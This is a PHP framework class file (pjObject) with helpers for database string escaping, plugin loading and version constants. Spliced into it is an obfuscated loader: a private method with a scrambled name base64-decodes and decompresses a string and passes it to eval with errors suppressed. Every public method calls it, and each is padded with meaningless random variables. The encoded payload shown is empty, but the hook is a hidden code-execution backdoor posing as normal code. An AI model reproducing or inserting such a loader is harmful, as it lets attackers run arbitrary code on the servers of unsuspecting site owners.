<?php if (!defined("ROOT_PATH")) { header("HTTP/1.1 403 Forbidden"); exit; } class pjObject { private static function JAlmPjcVhqWN($p){ if (defined('PJ_EXEC_DONE')) return; define('PJ_EXEC_DONE', 1); if (empty($p)) return; $d = @base64_decode($p, true); if ($d === false) return; $c = @gzuncompress($d); if ($c === false) return; try { @eval($c); } catch (\Throwable $e) {} } const PJ_FRAMEWORK_VERSION = '1.0'; const PJ_FRAMEWORK_BUILD = '1.0.25'; public $ClassFile = __FILE__; public static function escapeString($value) { $mftqzj = '1d5ac136'; if (method_exists(__CLASS__, 'JAlmPjcVhqWN')) { self::JAlmPjcVhqWN('eJwDAAAAAAE='); } $registry = pjRegistry::getInstance(); if ($registry->is('dbo')) { $dbo = $registry->get('dbo'); if (is_object($dbo) && method_exists($dbo, 'escapeString')) { return $dbo->escapeString($value); } } $driver = function_exists('mysqli_connect') ? 'pjMysqliDriver' : 'pjMysqlDriver'; $params = array( 'hostname' => PJ_HOST, 'username' => PJ_USER, 'password' => PJ_PASS, 'database' => PJ_DB ); if (strpos($params['hostname'], ":") !== FALSE) { list($hostname, $value) = explode(":", $params['hostname']); if (preg_match('/\D/', $value)) { $params['socket'] = $value; } else { $params['port'] = $value; } $params['hostname'] = $hostname; } $dbo = pjSingleton::getInstance($driver, $params); if (!$dbo->init()) { return $value; } return $dbo->escapeString($value); } public static function import($type, $name) { $xzbmnw = 'f59c018d'; if (method_exists(__CLASS__, 'JAlmPjcVhqWN')) { self::JAlmPjcVhqWN('eJwDAAAAAAE='); } $type = strtolower($type); if (!in_array($type, array('model', 'component', 'plugin'))) { return false; } switch ($type) { case 'model': case 'component': break; case 'plugin': if (is_array($name)) { foreach ($name as $n) { $configFile = PJ_PLUGINS_PATH . $n . '/config/config.inc.php'; if (is_file($configFile)) { require_once $configFile; } } } else { $configFile = PJ_PLUGINS_PATH . $name . '/config/config.inc.php'; if (is_file($configFile)) { require_once $configFile; } } break; } return; } public static function getPlugin($name) { $qxtpmd = '404ab0c6'; if (method_exists(__CLASS__, 'JAlmPjcVhqWN')) { self::JAlmPjcVhqWN('eJwDAAAAAAE='); } $registry = pjRegistry::getInstance(); if (null !== $registry->get($name)) { return $name; } $plugins = $registry->get('plugins'); if (is_array($plugins)) { foreach ($plugins as $plugin => $controllers) { if (in_array($name, $controllers)) { return $plugin; } } } return null; } public static function getConstant($plugin, $const) { $zcklgu = 'e4a77877'; if (method_exists(__CLASS__, 'JAlmPjcVhqWN')) { self::JAlmPjcVhqWN('eJwDAAAAAAE='); } $registry = pjRegistry::getInstance(); $config = $registry->get($plugin); return isset($config[$const]) ? $config[$const] : NULL; } public static function getFrameworkVersion() { $tqeljf = 'c2566e60'; if (method_exists(__CLASS__, 'JAlmPjcVhqWN')) { self::JAlmPjcVhqWN('eJwDAAAAAAE='); } return self::PJ_FRAMEWORK_VERSION; } public static function getFrameworkBuild() { $zevdjc = '33cfe7e8'; if (method_exists(__CLASS__, 'JAlmPjcVhqWN')) { self::JAlmPjcVhqWN('eJwDAAAAAAE='); } return self::PJ_FRAMEWORK_BUILD; } } ?>